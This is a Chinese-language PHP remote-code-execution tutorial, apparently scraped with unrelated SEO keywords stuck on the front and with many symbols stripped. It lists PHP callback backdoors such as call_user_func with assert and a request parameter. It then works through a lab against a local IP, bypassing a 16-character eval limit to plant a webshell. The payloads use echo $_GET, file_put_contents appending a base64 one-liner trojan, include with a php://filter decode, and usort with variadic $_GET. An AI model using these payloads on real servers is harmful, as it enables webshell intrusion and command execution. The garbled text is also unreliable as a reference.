什么是网站开发框架,南宁企业自助建站系统,苏州高新区建设局网站,成都网络营销搜索推广目录
先了解一些常见的知识点
PHP常见命令执行函数
call_user_func
eval#xff08;#xff09;
call_user_func_array
array_filter
实战演练#xff08;RCE#xff09;PHP Eval函数参数限制在16个字符的情况下 #xff0c;如何拿到Webshell#xff1f;
1、长度…目录
先了解一些常见的知识点
PHP常见命令执行函数
call_user_func
eval
call_user_func_array
array_filter
实战演练RCEPHP Eval函数参数限制在16个字符的情况下 如何拿到Webshell
1、长度限制16 位 代码执行
2、foo.php?1file_put_contents¶m$_GET[1](N,P,8);
N P 8 include 是什么意思
3、usort(...$_GET); 先了解一些常见的知识点
PHP常见命令执行函数
shell_exec、exec、passthru、system、proc_open、popen
PHP回调后门
call_user_func
call_user_func、把第一个参数作为回调函数使用 把第二个传递这个函数里的参数
eval
eval 动态执行的方法
我们尝试用 call_user_func(assert,$_REQUEST[pass]);
连接 连接失败 但我们加一个eval 就可以连接成功 call_user_func_array
call_user_func_array(assert,$_REQUEST[pass]); 第二个函数接受需要一个数组
如果控制两个参数就可以让代码执行变成命令执行
array_filter
array_filter 将回调函数base64编码 实战演练RCEPHP Eval函数参数限制在16个字符的情况下 如何拿到Webshell
1、长度限制16 位 代码执行 ?php
$param $_REQUEST[param]; If (
strlen($param) 17 stripos($param, eval) false stripos($param, assert) false
) {
eval($param);
}将文件写入nginx html目录下 我们来执行下phpinfo 必须带因为eval需要 很显然执行了 说明有效 http://192.168.111.130/web.php?paramecho%20$_GET[1];1id eval 需要echo来将数据导出代码执行改变成了命令执行
2、foo.php?1file_put_contentsparam$_GET[1](N,P,8);
温馨提示 必须是www-data 用户组 这样可以创建文件 root权限不够
这是file_put_contents php的官方文档的说明 N P 8 include 是什么意思
N 是指定文件名
P是一句话木马
8 是追加 FILE_APPEND是一样的 字符只能16位所以我们用 8
include 会将所有传进来的都当成php代码 正好是一句话木马
为什么要将编码后的写入文件呢 是因为这个函数不支持这些字符 执行来验证 将所有追加进去 我这里不一一展示了
web.php?paraminclude$_GET[1];1php://filter/readconvert.base64-decode/resourceN 这样就可以执行了
3、usort(...$_GET);
php可变长参数是... 首先我们将php调制成5.6版本 方便我们测试漏洞
update-alternatives --config php http://192.168.111.130/web.php?1[]test1[]phpinfo();2assert
这样就获取phpinfo了